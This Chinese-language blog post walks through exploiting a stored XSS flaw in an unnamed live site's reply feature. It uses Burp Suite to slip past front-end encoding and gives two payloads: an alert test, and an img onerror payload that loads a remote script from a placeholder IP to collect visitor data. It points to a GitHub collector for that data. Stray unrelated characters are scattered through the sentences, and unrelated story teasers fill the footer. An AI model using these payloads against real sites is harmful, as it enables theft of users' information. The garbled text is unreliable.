開啟了httponly的網(wǎng)站。XSS也就是測試下

某站發(fā)帖與回帖模塊存在XSS焚鲜,但由于它開啟了httponly,XSS也就是測試下.

此例為回帖:
由于前端經(jīng)過了HTML實體編碼掌唾,內(nèi)容隨意填寫一些好識別的:

13.png

](http://upload-images.jianshu.io/upload_images/2414995-2bd7996f8b3716b6.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
用Burp Suite 抓包修改內(nèi)容部分
寫入payload:<script>alert(1)</script>

12.png

修改后放行,關閉代理忿磅,頁面出現(xiàn)彈窗:

13.png

換一種玩法糯彬,加載js文件,獲取更多信息:
重新回帖葱她,Burp Suite 抓包修改內(nèi)容部分
寫入payload:<img src='x' onerror="s=createElement('script');body.appendChild(s);s.src='http://xxx.xxx.xxx.xxx/xsstest.js'">

14.png

修改后放行撩扒,關閉代理,在接收端可以看到獲取到的信息:

15.png

獲取信息的JS文件吨些,PHP文件和HTML文件搓谆,都是借鑒github上的,支持下載:
https://github.com/evilcos/xssprobe

最后編輯于
?著作權歸作者所有,轉載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末锤灿,一起剝皮案震驚了整個濱河市挽拔,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌但校,老刑警劉巖螃诅,帶你破解...
    沈念sama閱讀 212,383評論 6 493
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異状囱,居然都是意外死亡术裸,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,522評論 3 385
  • 文/潘曉璐 我一進店門亭枷,熙熙樓的掌柜王于貴愁眉苦臉地迎上來袭艺,“玉大人,你說我怎么就攤上這事叨粘』啵” “怎么了瘤睹?”我有些...
    開封第一講書人閱讀 157,852評論 0 348
  • 文/不壞的土叔 我叫張陵,是天一觀的道長答倡。 經(jīng)常有香客問我轰传,道長,這世上最難降的妖魔是什么瘪撇? 我笑而不...
    開封第一講書人閱讀 56,621評論 1 284
  • 正文 為了忘掉前任获茬,我火速辦了婚禮,結果婚禮上倔既,老公的妹妹穿的比我還像新娘恕曲。我一直安慰自己,他們只是感情好渤涌,可當我...
    茶點故事閱讀 65,741評論 6 386
  • 文/花漫 我一把揭開白布佩谣。 她就那樣靜靜地躺著,像睡著了一般歼捏。 火紅的嫁衣襯著肌膚如雪稿存。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 49,929評論 1 290
  • 那天瞳秽,我揣著相機與錄音瓣履,去河邊找鬼。 笑死练俐,一個胖子當著我的面吹牛袖迎,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播腺晾,決...
    沈念sama閱讀 39,076評論 3 410
  • 文/蒼蘭香墨 我猛地睜開眼燕锥,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了悯蝉?” 一聲冷哼從身側響起归形,我...
    開封第一講書人閱讀 37,803評論 0 268
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎鼻由,沒想到半個月后暇榴,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 44,265評論 1 303
  • 正文 獨居荒郊野嶺守林人離奇死亡蕉世,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 36,582評論 2 327
  • 正文 我和宋清朗相戀三年蔼紧,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片狠轻。...
    茶點故事閱讀 38,716評論 1 341
  • 序言:一個原本活蹦亂跳的男人離奇死亡奸例,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出向楼,到底是詐尸還是另有隱情查吊,我是刑警寧澤谐区,帶...
    沈念sama閱讀 34,395評論 4 333
  • 正文 年R本政府宣布,位于F島的核電站菩貌,受9級特大地震影響卢佣,放射性物質(zhì)發(fā)生泄漏重荠。R本人自食惡果不足惜箭阶,卻給世界環(huán)境...
    茶點故事閱讀 40,039評論 3 316
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望戈鲁。 院中可真熱鬧仇参,春花似錦、人聲如沸婆殿。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,798評論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽婆芦。三九已至怕磨,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間消约,已是汗流浹背肠鲫。 一陣腳步聲響...
    開封第一講書人閱讀 32,027評論 1 266
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留或粮,地道東北人导饲。 一個月前我還...
    沈念sama閱讀 46,488評論 2 361
  • 正文 我出身青樓,卻偏偏與公主長得像氯材,于是被迫代替她去往敵國和親渣锦。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 43,612評論 2 350

推薦閱讀更多精彩內(nèi)容